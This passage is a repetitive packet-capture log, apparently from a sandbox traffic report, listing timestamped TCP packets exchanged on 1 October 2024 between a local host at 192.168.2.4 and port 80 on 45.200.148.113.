Oct 1, 2024 07:51:16.804475069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804477930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804501057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804522038 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804848909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804858923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804894924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804934978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804944992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804960012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804966927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804980993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.804981947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.804994106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805003881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805026054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805036068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805161953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805176020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805198908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805217028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805310965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805322886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805331945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805344105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805349112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805355072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805365086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805371046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805381060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805389881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805389881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805401087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805404902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805411100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805423975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805434942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805438995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805445910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.805460930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.805494070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806149006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806160927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806171894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806181908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806191921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806207895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806207895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806217909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806227922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806231976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806237936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806247950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806258917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806263924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806269884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806279898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806289911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806289911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806301117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806308985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806310892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806322098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806329966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806333065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.806349039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.806370020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807038069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807049036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807060003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807070971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807080030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807089090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807100058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807100058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807111025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807122946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807132006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807132959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807147026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807147026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807157993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807167053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807173967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807178020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807188034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807198048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807204008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807209015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807219028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807230949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.807231903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807250023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.807269096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808001041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808024883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808036089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808046103 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808047056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808058023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808065891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808067083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808078051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808089018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808099031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808099985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808110952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808120966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808123112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808130980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808144093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808147907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808155060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808165073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808167934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808176041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808186054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808192015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808197021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808214903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808237076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808798075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808819056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808830976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.808856010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.808873892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.891884089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.891921043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.891941071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.891954899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892000914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892014980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892024994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892033100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892035961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892047882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892082930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892240047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892251015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892261982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892273903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892285109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892286062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892297029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892323971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892350912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892544985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892555952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892566919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892576933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892587900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892596006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892597914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892608881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892632961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892656088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892765999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892807961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892888069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892900944 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892910957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892920971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892930984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892931938 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892940998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892952919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892960072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.892963886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892976046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.892998934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893014908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893317938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893330097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893340111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893349886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893359900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893369913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893372059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893381119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893390894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893400908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893412113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893424034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893455982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893779993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893794060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893805027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893814087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893824100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893826962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893834114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893843889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893855095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.893870115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.893901110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894081116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894092083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894119024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894172907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894184113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894193888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894203901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894212008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894212961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894222975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894237041 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894248009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894256115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894258022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894268036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894283056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894318104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894630909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894642115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894650936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894659996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894670010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894680023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894682884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894712925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894779921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894789934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894805908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894814968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894815922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894825935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894835949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894845009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894848108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894855976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894865990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894876003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894886017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894898891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894907951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894908905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894918919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.894931078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.894963026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.895647049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895657063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895662069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895667076 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895672083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895677090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895682096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895687103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895692110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895697117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895701885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895705938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895715952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895721912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895726919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895733118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.895773888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.895811081 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896459103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896476030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896486998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896492004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896497965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896507978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896512032 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896517992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896542072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896548986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896553040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896564007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896574020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896583080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896588087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896598101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896605015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896608114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896619081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896626949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896631002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896640062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896655083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896665096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896676064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896677017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896686077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.896703959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.896733999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980529070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980546951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980560064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980572939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980588913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980618954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980645895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980657101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980668068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980679989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980683088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980712891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980736017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980880976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980901003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980912924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980916023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980926037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980933905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980942965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980950117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980953932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.980968952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.980993986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981151104 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981170893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981183052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981188059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981194019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981203079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981205940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981216908 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981223106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981228113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981251955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981271029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981420994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981431961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981441975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981472015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981477976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981477976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981483936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981494904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.981533051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981547117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.981690884 CEST	80	49732	45.200.148.113	192.168.2.4
